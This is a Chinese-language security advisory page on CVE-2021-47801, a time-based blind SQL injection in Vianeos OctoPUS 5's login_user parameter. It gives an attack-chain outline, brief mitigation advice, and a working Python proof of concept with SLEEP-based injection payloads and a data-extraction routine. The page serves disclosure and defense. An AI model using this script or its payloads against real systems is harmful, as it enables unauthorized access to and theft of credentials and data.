IPBUF安全漏洞报告
English
CVE-2021-47801 CVSS 8.2 高危

CVE-2021-47801: Vianeos OctoPUS 5 login_user参数SQL注入漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47801
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Vianeos OctoPUS 5

相关标签

CVE-2021-47801SQL注入时间基盲注Vianeos OctoPUS认证绕过高危漏洞无需认证网络攻击

漏洞概述

CVE-2021-47801是Vianeos OctoPUS 5中存在的一个高危安全漏洞,类型为时间基盲注SQL注入(Time-based Blind SQL Injection)。该漏洞位于用户认证模块的login_user参数中,攻击者可以通过构造恶意的POST认证请求,利用SQL payload触发数据库的sleep()函数来提取敏感信息。由于该漏洞无需认证即可利用,且CVSS评分达到8.2,对系统机密性造成高影响,因此被评定为高危漏洞。攻击者可通过自动化工具逐步提取数据库中的用户凭证、配置文件、业务数据等敏感信息,进而可能导致完整的系统沦陷。

技术细节

该漏洞存在于Vianeos OctoPUS 5的用户认证接口中,具体在login_user参数处。攻击者通过在认证请求的login_user字段中注入精心构造的SQL payload,利用时间延迟函数(如SLEEP()或BENCHMARK())来判断SQL语句执行结果。由于应用层未对用户输入进行充分的过滤和参数化查询,注入的SQL代码会被数据库执行。攻击者可以通过观察不同payload导致的响应时间差异(TRUE/FALSE判断),逐步提取数据库中的敏感数据。这种时间基盲注技术特别适用于无法直接获取查询输出的场景,需要通过条件触发的时间延迟来推断信息。典型的利用方式是在login_user参数中注入类似' OR SLEEP(5)--的payload,根据响应延迟来判断注入是否成功。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标Vianeos OctoPUS 5系统,获取登录接口URL
STEP 2
步骤2
探测阶段:使用基本SQL注入payload(如' OR SLEEP(5)--)测试login_user参数是否存在注入点
STEP 3
步骤3
确认阶段:通过观察响应时间差异(延迟5秒vs正常响应),确认时间基盲注漏洞存在
STEP 4
步骤4
数据提取:使用二分查找或逐字符猜测技术,配合时间延迟判断,提取数据库版本、用户表结构、用户名和密码哈希
STEP 5
步骤5
权限提升:利用提取的凭证登录系统后台,可能进一步获取操作系统级别访问权限
STEP 6
步骤6
持久化控制:部署后门、窃取敏感业务数据或横向移动到其他内部系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2021-47801 Time-based Blind SQL Injection PoC # Target: Vianeos OctoPUS 5 login_user parameter target_url = "http://target.com/octopus/login" def test_sqli(payload): """Test SQL injection with given payload""" data = { 'login_user': payload, 'login_password': 'test', 'submit': 'Login' } start_time = time.time() response = requests.post(target_url, data=data, timeout=30) elapsed = time.time() - start_time return elapsed, response # Basic time-based blind SQL injection test payload = "admin' OR SLEEP(5)-- -" print(f"Testing payload: {payload}") elapsed, resp = test_sqli(payload) print(f"Response time: {elapsed:.2f} seconds") print(f"Response status: {resp.status_code}") # Extract single character using time-based technique def extract_char(database, query, char_pos): """Extract character using time-based blind SQL injection""" payload = f"admin' AND IF(SUBSTRING(({query}),{char_pos},1)=CHAR({ord(database)}),SLEEP(5),0)-- -" elapsed, _ = test_sqli(payload) return elapsed > 4 # Example: Extract database version # query = "SELECT @@version" # for i in range(1, 50): # for ascii_val in range(32, 127): # if extract_char(chr(ascii_val), query, i): # print(chr(ascii_val), end='', flush=True) # break

影响范围

Vianeos OctoPUS 5 < 5.x.x (具体版本需参考官方补丁公告)

防御指南

临时缓解措施
立即限制对认证接口的访问,实施IP白名单或速率限制;部署WAF规则拦截包含SQL注入特征的请求;对login_user参数实施严格的输入验证,移除或转义单引号、连字符等特殊字符;联系Vianeos官方获取安全补丁并尽快升级系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表